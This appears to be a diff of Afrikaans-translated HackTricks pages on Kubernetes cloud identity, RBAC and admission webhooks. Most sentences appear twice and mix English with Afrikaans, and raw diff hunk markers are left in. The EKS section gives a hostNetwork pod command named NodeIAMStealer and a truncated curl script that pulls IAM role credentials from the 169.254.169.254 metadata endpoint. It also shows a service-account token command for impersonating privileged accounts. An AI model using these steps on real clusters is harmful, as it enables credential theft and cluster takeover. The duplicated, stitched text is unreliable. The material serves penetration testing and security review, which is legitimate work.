Die vorige afdeling het gegaan oor hoe om IAM Roles met pods te steel, maar let op dat n **Node van die** K8s cluster n **instance binne die cloud** gaan wees. Dit beteken dat die Node hoogs waarskynlik n **IAM role gaan hê wat jy kan steel** (_let op dat gewoonlik al die nodes van n K8s cluster dieselfde IAM role sal hê, so dit is dalk nie die moeite werd om op elke node te probeer kyk nie_).
Om by die node metadata endpoint uit te kom moet jy:
- In n pod wees en die metadata endpoint moet gekonfigureer wees vir minstens 2 tcp hops. Dit is die mees algemene misconfiguratie aangesien verskillende pods in die cluster gewoonlik toegang tot die metadata endpoint sal benodig om nie te breek nie en verskeie maatskappye besluit eenvoudig om toegang tot die metadata endpoint vanaf al die pods in die cluster toe te laat.
Om toegang tot die node metadata endpoint te kry, moet jy:
- In n pod wees en die metadata endpoint moet so gekonfigureer wees dat dit minstens 2 tcp hops toelaat. Dit is die mees algemene misconfiguratie, aangesien verskillende pods in die cluster gewoonlik toegang tot die metadata endpoint nodig sal hê om nie te breek nie, en verskeie maatskappye besluit eenvoudig om toegang tot die metadata endpoint van al die pods in die cluster toe te laat.
- In n pod wees met `hostNetwork` geaktiveer.
- Na die node ontsnap en direk toegang tot die metadata endpoint kry.
- Na die node escape en die metadata endpoint direk benader.
(Let daarop dat die metadata endpoint soos altyd by 169.254.169.254 is).
(Let op dat die metadata endpoint soos altyd by 169.254.169.254 is).
In nuwer EKS omgewings, verifieer die node en cluster mode voordat jy aanvaar dat pods die node instance profile kan bereik. Amazon Linux 2023 EKS optimized AMIs stel die IMDS hop limit by verstek op 1, en EKS Auto Mode aktiveer `disablePodIMDS` by verstek, so gewone pods behoort nie node-role credentials te ontvang tensy die operator daardie settings verander het of die pod n ander node-level path soos `hostNetwork` of node compromise het nie. Die aanbevole patroon is om pod access tot node IMDS te blokkeer en IRSA of EKS Pod Identity vir workload AWS permissions te gebruik.
In nuwer EKS omgewings, verifieer die node en cluster mode voordat jy aanneem dat pods die node instance profile kan bereik. Amazon Linux 2023 EKS optimized AMIs stel die IMDS hop limit by verstek op 1, en EKS Auto Mode aktiveer `disablePodIMDS` by verstek, so gewone pods behoort nie node-role credentials te ontvang tensy die operator daardie instellings verander het of die pod n ander node-level path het soos `hostNetwork` of node compromise nie. Die aanbevole patroon is om pod-toegang tot node IMDS te blokkeer en IRSA of EKS Pod Identity vir workload AWS permissions te gebruik.
Om **na die node te ontsnap** kan jy die volgende command gebruik om n pod met `hostNetwork` geaktiveer te laat loop:
Om na die **node te escape** kan jy die volgende command gebruik om n pod met `hostNetwork` geaktiveer uit te voer:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steel IAM Role Token
Voorheen het ons bespreek hoe om **IAM Roles aan Pods te heg** of selfs hoe om **na die Node te ontsnap om die IAM Role** te steel wat die instance daaraan gekoppel het.
Voorheen het ons bespreek hoe om **IAM Roles aan Pods te koppel** of selfs hoe om **na die Node te ontsnap** om die IAM Role te steel wat die instance daaraan geheg het.
Jy kan die volgende script gebruik om jou nuwe, hard-verdiende **IAM role credentials** te **steel**:
Jy kan die volgende script gebruik om jou nuwe hard gewerkte **IAM role credentials** te **steel**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
In samevatting: as dit moontlik is om die **EKS Node IAM role** vanaf n pod te **access**, is dit moontlik om die **volle kubernetes cluster** te **compromise**.
In samevatting: as dit moontlik is om die **EKS Node IAM role** vanaf n pod te **access**, is dit moontlik om die **volle kubernetes cluster** te kompromitteer.
Vir meer info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As samevatting, die default IAM EKS role wat by default aan die EKS nodes assigned is, word binne die cluster die role `system:node` assigned. Hierdie role is baie interessant hoewel dit beperk is deur die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Vir meer info, kyk na [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As samevatting, die verstek IAM EKS role wat by verstek aan die EKS nodes toegeken word, word binne die cluster aan die role `system:node` toegewys. Hierdie role is baie interessant, al word dit beperk deur die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Die node kan egter altyd tokens vir service accounts genereer wat in pods binne die node run. So, as die node n pod run met n privileged service account, kan die node n token vir daardie service account genereer en dit gebruik om die service account te impersonate soos in:
Die node kan egter altyd **generate tokens for service accounts** wat in pods binne die node loop. Dus, as die node n pod met n privileged service account laat loop, kan die node n token vir daardie service account generate en dit gebruik om die service account te impersonate soos in:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,11 +343,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
In AKS, hou drie identity-paths geskei tydens assessment:
In AKS, hou drie identity paths geskei tydens assessering:
- **Azure to Kubernetes**: Azure principals kan user- of admin kubeconfigs herwin deur Azure Resource Manager as hul Azure RBAC-role dit toelaat. Local admin kubeconfigs van `az aks get-credentials --admin` is certificate-based credentials en kan normale Microsoft Entra user/group governance omseil tensy local accounts gedeaktiveer is.
- **Microsoft Entra to Kubernetes**: Entra-geïntegreerde clusters authenticate users, groups, of service principals deur `kubelogin`/exec kubeconfigs. Die finale Kubernetes action kan geautoriseer word deur native Kubernetes RBAC of deur Azure RBAC vir Kubernetes Authorization.
- **Kubernetes to Azure**: Pods moet normaalweg Microsoft Entra Workload ID gebruik, wat projected Kubernetes service account tokens met Entra uitruil deur die AKS OIDC issuer en federated identity credentials.
- **Azure to Kubernetes**: Azure principals kan user- of admin-kubeconfigs herwin deur Azure Resource Manager as hul Azure RBAC role dit toelaat. Local admin kubeconfigs van `az aks get-credentials --admin` is certificate-based credentials en kan normale Microsoft Entra user/group governance omseil tensy local accounts gedeaktiveer is.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticat users, groups, of service principals deur `kubelogin`/exec kubeconfigs. Die finale Kubernetes action kan geautoriseer word deur native Kubernetes RBAC of deur Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Pods moet normaalweg Microsoft Entra Workload ID gebruik, wat projected Kubernetes service account tokens ruil met Entra deur die AKS OIDC issuer en federated identity credentials.
Useful AKS identity checks from Azure:
```bash
@@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Vanuit Kubernetes, soek na AKS Workload ID seine:
Vanaf Kubernetes, soek vir AKS Workload ID-seine:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
As die cluster steeds die verouderde Microsoft Entra pod-managed identity model gebruik, soek na die ou CRDs en NMI/MIC komponente in plaas van die Workload ID annotations:
Nuwer AKS-omgewings kan **AKS Identity Bindings** (preview) gebruik om Workload ID oor baie clusters of service accounts te skaal sonder om een federated identity credential per subject te skep. In daardie model word n user-assigned managed identity aan die AKS cluster gebind, workloads kies self in met `azure.workload.identity/use-identity-binding: "true"`, en Kubernetes RBAC gee `use-managed-identity` op `cid.wi.aks.azure.com` resources wat vernoem is na managed identity client IDs. n Wye `ClusterRoleBinding` hier kan dieselfde Azure identity aan meer namespaces blootstel as wat verwag word, selfs al lyk direkte federated identity credential subjects nou.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
As die cluster steeds die verouderde Microsoft Entra pod-managed identity model gebruik, soek na die ou CRDs en NMI/MIC-komponente in plaas van die Workload ID-annotasies:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodes is Azure VM scale set-instansies, so node- of host-vlak toegang kan Azure Instance Metadata Service by `169.254.169.254` blootstel. Moenie aanneem dat n gewone pod node managed identity credentials moet ontvang nie: verifieer eers workload identity-instellings, legacy pod identity/NMI-gedrag, hostNetwork-gebruik, network controls, en node-toegang. As n node identity breë Azure permissions het, kan node compromise n Azure pivot word, selfs wanneer application Workload ID korrek gescope is.
AKS nodes is Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. Do not assume an ordinary pod should receive node managed identity credentials: verify workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, and node access first. If a node identity has broad Azure permissions, node compromise can become an Azure pivot even when application Workload ID is correctly scoped.
## References
AKS Automatic and Node Auto-Provisioning (NAP) change the node-side evidence you should collect. AKS Automatic preconfigures several production defaults, including Workload ID/OIDC support, managed node pools, node resource group lockdown, and managed upgrade behavior. NAP is the managed Karpenter-based provisioning mode and uses Kubernetes resources such as `NodePool`, `AKSNodeClass`, and `NodeClaim` to decide which nodes are created for pending workloads. Review who can modify those resources, high-impact scheduling controls, privileged pods, and broad tolerations; also check whether node resource group lockdown blocked direct VMSS/load balancer edits and forced changes back through Kubernetes or AKS APIs.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## Verwysings
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -6,11 +6,11 @@
Kubernetes het n **autorisasiemodule genaamd Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) wat help om gebruikstoestemmings vir die API server in te stel.
RBAC se toestemmingsmodel is gebou uit **drie afsonderlike dele**:
RBAC se permissiemodel is gebou uit **drie afsonderlike dele**:
1. **Role\ClusterRole ** Die werklike toestemming. Dit bevat _**rules**_ wat n stel toestemmings voorstel. Elke rule bevat [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) en [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Die verb is die action wat op die resource toegepas sal word.
2. **Subject (User, Group or ServiceAccount) ** Die object wat die toestemmings sal ontvang.
3. **RoleBinding\ClusterRoleBinding ** Die verbinding tussen Role\ClusterRole en die subject.
1. **Role\ClusterRole ­** Die werklike permission. Dit bevat _**rules**_ wat n stel permissions voorstel. Elke rule bevat [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) en [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Die verb is die action wat op die resource toegepas sal word.
2. **Subject (User, Group or ServiceAccount) ** Die object wat die permissions sal ontvang.
3. **RoleBinding\ClusterRoleBinding ** Die connection tussen Role\ClusterRole en die subject.
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
@@ -20,21 +20,27 @@ Die verskil tussen “**Roles**” en “**ClusterRoles**” is net waar die rol
- **non-resource** endpoints (soos /healthz).
- namespaced resources (soos Pods), **oor al die namespaces**.
Vanaf **Kubernetes** 1.6 is **RBAC** policies **by verstek geaktiveer**. Maar om RBAC te aktiveer kan jy iets soos die volgende gebruik:
Vanaf **Kubernetes** 1.6 en verder is **RBAC** policies **by verstek geaktiveer**. Maar om RBAC te aktiveer kan jy iets soos die volgende gebruik:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Moderne clusters kan ook die API server authorizer chain konfigureer met `--authorization-config`, wat na n `AuthorizationConfiguration`-lêer wys. Hierdie lêer kan geordende authorizers, meerdere webhook authorizers, webhook timeouts, `failurePolicy`, cache-instellings, en CEL `matchConditions` definieer wat besluit watter requests na n webhook gestuur word. Tydens n security review, moenie by `--authorization-mode` stop as `--authorization-config` teenwoordig is nie: lees die verwysde lêer en kyk of n webhook met `NoOpinion` open kan fail, of match conditions sensitiewe resources oorslaan, en of al die API server replicas ekwivalente authorization configuration gebruik.
Kyk ook na authentication configuration wanneer jy anonymous API exposure review. `--authentication-config` kan die anonymous authenticator beperk tot spesifieke paths soos `/livez`, `/readyz`, en `/healthz`. Anonymous toegang tot health endpoints is nie dieselfde as anonymous toegang tot Kubernetes resources nie; die gevaarlike toestand is n RBAC- of authorizer-pad wat `system:anonymous` of `system:unauthenticated` toelaat om regte API objects te lees of te wysig.
Laastens, behandel lidmaatskap in `system:masters` as cluster-admin-ekwivalent. Users of certificates in hierdie groep het onbeperkte API access wat normale RBAC- en webhook authorization-beperkings omseil, so identity mappings wat hierdie groep byvoeg kan belangriker wees as gewone RoleBinding-uitset.
## Templates
In the template of a **Role** or a **ClusterRole** sal jy die **naam van die role**, die **namespace** (in roles) en dan die **apiGroups**, **resources** en **verbs** van die role moet aandui:
In die template van n **Role** of n **ClusterRole** moet jy die **name van die role**, die **namespace** (in roles) en dan die **apiGroups**, **resources** en **verbs** van die role aandui:
- Die **apiGroups** is 'n array wat die verskillende **API namespaces** bevat waarop hierdie reël van toepassing is. Byvoorbeeld, 'n Pod-definisie gebruik apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- Die **resources** is 'n array wat definieer **op watter resources hierdie reël van toepassing is**. Jy kan al die resources vind met: `kubectl api-resources --namespaced=true`
- Die **verbs** is 'n array wat die **toegelate verbs** bevat. Die verb in Kubernetes definieer die **tipe aksie** wat jy op die resource moet toepas. Byvoorbeeld, die list verb word teen collections gebruik terwyl "get" teen 'n enkele resource gebruik word.
- Die **apiGroups** is n array wat die verskillende **API namespaces** bevat waarop hierdie rule van toepassing is. Byvoorbeeld, n Pod-definisie gebruik apiVersion: v1. _Dit kan waardes hê soos rbac.authorization.k8s.io of \[\*]_.
- Die **resources** is n array wat definieer **op watter resources hierdie rule van toepassing is**. Jy kan al die resources vind met: `kubectl api-resources --namespaced=true`
- Die **verbs** is n array wat die **toegelate verbs** bevat. Die verb in Kubernetes definieer die **tipe action** wat jy op die resource moet toepas. Byvoorbeeld, die list verb word teenoor collections gebruik, terwyl "get" teenoor n enkele resource gebruik word.
### Rules Verbs
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
(_Hierdie info is geneem uit_ [_**die docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -44,17 +50,19 @@ In the template of a **Role** or a **ClusterRole** sal jy die **naam van die rol
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes kontroleer soms authorization vir addisionele permissions deur gespesialiseerde verbs te gebruik. Byvoorbeeld:
Kubernetes kontroleer soms authorization vir bykomende permissions met behulp van gespesialiseerde verbs. Byvoorbeeld:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb op `podsecuritypolicies` resources in die `policy` API group.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` en `escalate` verbs op `roles` en `clusterroles` resources in die `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb op `users`, `groups`, en `serviceaccounts` in the core API group, en die `userextras` in die `authentication.k8s.io` API group.
- `impersonate` verb op `users`, `groups`, en `serviceaccounts` in die core API group, en die `userextras` in die `authentication.k8s.io` API group.
Kubernetes v1.36 sluit ook **constrained impersonation** as n beta feature in. In plaas daarvan om net die legacy alles-of-niks `impersonate` verb toe te ken, kan clusters mode-spesifieke verbs toeken soos `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, of `impersonate:associated-node`, plus action-spesifieke verbs soos `impersonate-on:user-info:list` op die target resource. Review albei kante: die identity wat die subject kan impersonate en die actions wat dit kan uitvoer terwyl dit impersonating is. Legacy `impersonate` rules kan steeds breër access toelaat, so moenie aanvaar dat constrained-looking verbs afgedwing word tensy die API server version en access-review evidence dit bevestig nie.
> [!WARNING]
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
> Jy kan **al die verbs wat elke resource ondersteun** vind deur `kubectl api-resources --sort-by name -o wide` uit te voer
### Examples
```yaml:Role
@@ -80,13 +88,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
Byvoorbeeld kan jy 'n **ClusterRole** gebruik om 'n spesifieke gebruiker toe te laat om te run:
Byvoorbeeld kan jy n **ClusterRole** gebruik om n spesifieke gebruiker toe te laat om te hardloop:
```
kubectl get pods --all-namespaces
```
### **RoleBinding en ClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**Van die docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) n **role binding verleen die toestemmings wat in n role gedefinieer is aan n user of stel users**. Dit bevat n lys van subjects (users, groups, or service accounts), en n verwysing na die role wat toegeken word. n **RoleBinding** verleen toestemmings binne n spesifieke **namespace**, terwyl n **ClusterRoleBinding** daardie access **cluster-wide** verleen.
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding verleen die permissies wat in 'n role gedefinieer is aan 'n user of stel users**. Dit hou 'n lys van subjects (users, groups, or service accounts), en 'n verwysing na die role wat toegeken word. A **RoleBinding** verleen permissies binne 'n spesifieke **namespace** terwyl 'n **ClusterRoleBinding** daardie access **cluster-wide** verleen.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions is additief** so as jy 'n clusterRole het met “list” en “delete” secrets kan jy dit byvoeg met 'n Role met “get”. Wees dus bewus hiervan en toets altyd jou roles en permissions en **spesifiseer wat TOEGELAAT is, want alles word by verstek GEWEIER.**
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **spesifiseer wat TOEGELAAT is, want alles is by verstek GEWEIER.**
### Details wat die moeite werd is om na te gaan
### Details worth checking
RBAC gebruik resource name soos hulle in API URLs verskyn, nie die YAML `kind` nie. 'n Pod is `pods`, 'n Deployment is `deployments`, en subresources word met 'n slash geskryf soos `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` of `services/proxy`. 'n Permission op `pods` gee nie outomaties toegang tot `pods/exec` of `pods/log` nie.
RBAC uses resource names as they appear in API URLs, not the YAML `kind`. A Pod is `pods`, a Deployment is `deployments`, and subresources are written with a slash such as `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` or `services/proxy`. A permission on `pods` does not automatically grant access to `pods/exec` or `pods/log`.
`resourceNames` kan sommige requests beperk tot spesifieke object name:
`resourceNames` can restrict some requests to specific object names:
```yaml
rules:
- apiGroups: [""]
@@ -136,17 +144,18 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
Dit beperk nie top-vlak `create` of `deletecollection` per naam nie. Vir `list` en `watch` moet die kliënt n ooreenstemmende `metadata.name` field selector insluit, anders word die versoek nie deur daardie reël gemagtig nie:
Dit beperk nie top-vlak `create` of `deletecollection` volgens naam nie. Vir `list` en `watch` moet die kliënt n ooreenstemmende `metadata.name` veldselektor insluit, anders word die versoek nie deur daardie reël gemagtig nie:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
Gebruik exact access reviews vir hoë-impak kontroles:
Gebruik presiese access reviews vir hoë-impak kontroles:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **Enumerating RBAC**
```bash
@@ -6,20 +6,20 @@
## Definisie
`ValidatingWebhookConfiguration` is n Kubernetes-hulpbron wat een of meer validating admission webhooks registreer. Hierdie webhooks ontvang AdmissionReview requests van die API server na authentication en authorization, maar voordat die object gepersist word.
`ValidatingWebhookConfiguration` is n Kubernetes resource wat een of meer validating admission webhooks registreer. Hierdie webhooks ontvang AdmissionReview requests van die API server ná authentication en authorization, maar voordat die object gestoor word.
Validating webhooks kan n request weier. Mutating webhooks, gekonfigureer met `MutatingWebhookConfiguration`, kan eers die object verander. Security reviews moet gewoonlik beide resources inspekteer omdat n kwaadwillige of swak mutating webhook workloads kan herskryf, terwyl n validating webhook of policy engine hulle kan blokkeer of toelaat.
Validating webhooks kan n request weier. Mutating webhooks, gekonfigureer met `MutatingWebhookConfiguration`, kan die object eers verander. Security reviews moet gewoonlik albei resources inspekteer, omdat n kwaadwillige of swak mutating webhook workloads kan herskryf, terwyl n validating webhook of policy engine dit kan blokkeer of toelaat.
## Doel
Die doel van n `ValidatingWebhookConfiguration` is om te definieer wanneer die API server n validating webhook moet roep en hoe dit die webhook result moet hanteer. Die belangrike security question is nie net "is a policy installed?", maar ook:
Die doel van n `ValidatingWebhookConfiguration` is om te definieer wanneer die API server n validating webhook moet roep en hoe dit die webhook result moet hanteer. Die belangrike security-vraag is nie net "is a policy installed?", maar ook:
- Watter API groups, resources, operations, en scopes pas dit?
- Watter namespaces of objects word deur selectors uitgesluit?
- Slaan `matchConditions` enige request classes oor?
- Laat `failurePolicy` fail open met `Ignore` of fail closed met `Fail`?
- Laat `failurePolicy` met `Ignore` fail open of met `Fail` fail closed?
- Is die webhook service bereikbaar, vertrou deur die gekonfigureerde `caBundle`, en loop dit deur n hoogs geprivilegieerde service account?
- Stel die policy engine ook exception resources, uitgeslote users, of uitgeslote groups bloot?
- Bied die policy engine ook exception resources, uitgeslote users, of uitgeslote groups aan?
**Voorbeeld**
@@ -53,12 +53,12 @@ matchExpressions:
operator: NotIn
values: ["kube-system"]
```
Die belangrikste verskil tussen a ValidatingWebhookConfiguration en policies :
Die hoofverskil tussen n ValidatingWebhookConfiguration en policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
- **ValidatingWebhookConfiguration (VWC)** : n Kubernetes-bron wat n validating webhook definieer, wat n server-side komponent is wat inkomende Kubernetes API requests teen n stel voorafbepaalde reëls en beperkings valideer.
- **Kyverno ClusterPolicy**: n policy-definisie wat n stel reëls en beperkings spesifiseer vir die valideer en afdwing van Kubernetes-bronne, soos pods, deployments, en services
## Enumeration
```
@@ -67,36 +67,57 @@ $ kubectl get validatingwebhookconfiguration <name> -o yaml
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
$ kubectl get svc,deploy,pod -A | grep -i webhook
```
Fields to inspect:
Velde om te inspekteer:
- `rules`: Kontroleer gedekte API-groups, versies, resources, subresources, operations, en scope.
- `namespaceSelector` / `objectSelector`: Soek vir namespaces of labels wat resources van die policy uitsluit.
- `matchConditions`: CEL expressions kan requests doelbewus of per ongeluk oorslaan.
- `rules`: Kontroleer gedekte API groups, versies, resources, subresources, operations, en scope.
- `namespaceSelector` / `objectSelector`: Soek namespaces of labels wat resources van die policy uitsluit.
- `matchConditions`: CEL-uitdrukkings kan requests doelbewus of per ongeluk oorslaan.
- `failurePolicy`: `Ignore` laat requests voortgaan as die webhook faal; `Fail` blokkeer hulle.
- `sideEffects`: Webhooks met side effects mag nie dry-run testing ondersteun nie.
- `timeoutSeconds`: Baie kort timeouts saam met `Ignore` kan fail-open behavior word.
- `clientConfig`: Hersien of die webhook na n in-cluster Service of n external URL wys, en inspekteer die onderliggende workload en service account.
- `reinvocationPolicy`: Mutating webhooks mag weer opgeroep word wanneer latere mutation die object verander.
- `timeoutSeconds`: Baie kort timeouts gekombineer met `Ignore` kan fail-open gedrag word.
- `clientConfig`: Hersien of die webhook na n in-cluster Service of eksterne URL wys, en inspekteer die onderliggende workload en service account.
- `reinvocationPolicy`: Mutating webhooks kan herroep word wanneer latere mutation die object verander.
### Native CEL admission policies
Moderne clusters kan ook admission logic afdwing met native policy objects in `admissionregistration.k8s.io`, nie net met webhook configurations nie. `ValidatingAdmissionPolicy` is n in-process CEL-gebaseerde alternatief vir validating webhooks en is slegs aktief wanneer `ValidatingAdmissionPolicyBinding` dit kies. `MutatingAdmissionPolicy` is stabiel in Kubernetes v1.36 en word geaktiveer deur `MutatingAdmissionPolicyBinding` vir CEL-gegenereerde mutations.
Lys hulle met:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Veiligheidskontroles:
- `n` Beleid sonder `n` binding enforce niks.
- `validationActions` op die binding besluit of validation failures denied, warned, audited, of net recorded word.
- `failurePolicy: Ignore` laat CEL evaluation errors of misconfiguration fail open.
- `matchConstraints`, `matchConditions`, `namespaceSelector`, en `objectSelector` kan sensitive requests uitsluit.
- `paramKind` en `paramRef` kan maak dat ConfigMaps of CRD-backed parameter objects deel van die policy boundary word; check wie daardie parameter objects kan modify.
- Writes na policies, bindings, en parameter resources moet behandel word as privileged admission-control changes.
### Abusing Kyverno and Gatekeeper VWC
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
Soos ons kan sien, het alle geïnstalleerde operators ten minste een ValidatingWebHookConfiguration(VWC).
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
**Kyverno** en **Gatekeeper** is albei Kubernetes policy engines wat `n` framework bied vir die definieer en enforce van policies oor `n` cluster.
Exceptions verwys na spesifieke rules of conditions wat toelaat dat n policy onder sekere omstandighede omseil of gewysig kan word, maar dit is nie die enigste manier nie !
Exceptions verwys na spesifieke rules of conditions wat toelaat dat `n` policy onder sekere omstandighede bypass of modified word, maar dit is nie die enigste manier nie !
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
Vir **kyverno**, soos daar `n` validating policy is, is die webhook `kyverno-resource-validating-webhook-cfg` gevul.
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Vir Gatekeeper is daar die `gatekeeper-validating-webhook-configuration` YAML file.
Both come from with default values but the Administrator teams might updated those 2 files.
Albei kom met default values, maar die Administrator teams mag daardie 2 files updated het.
### Use Case
```bash
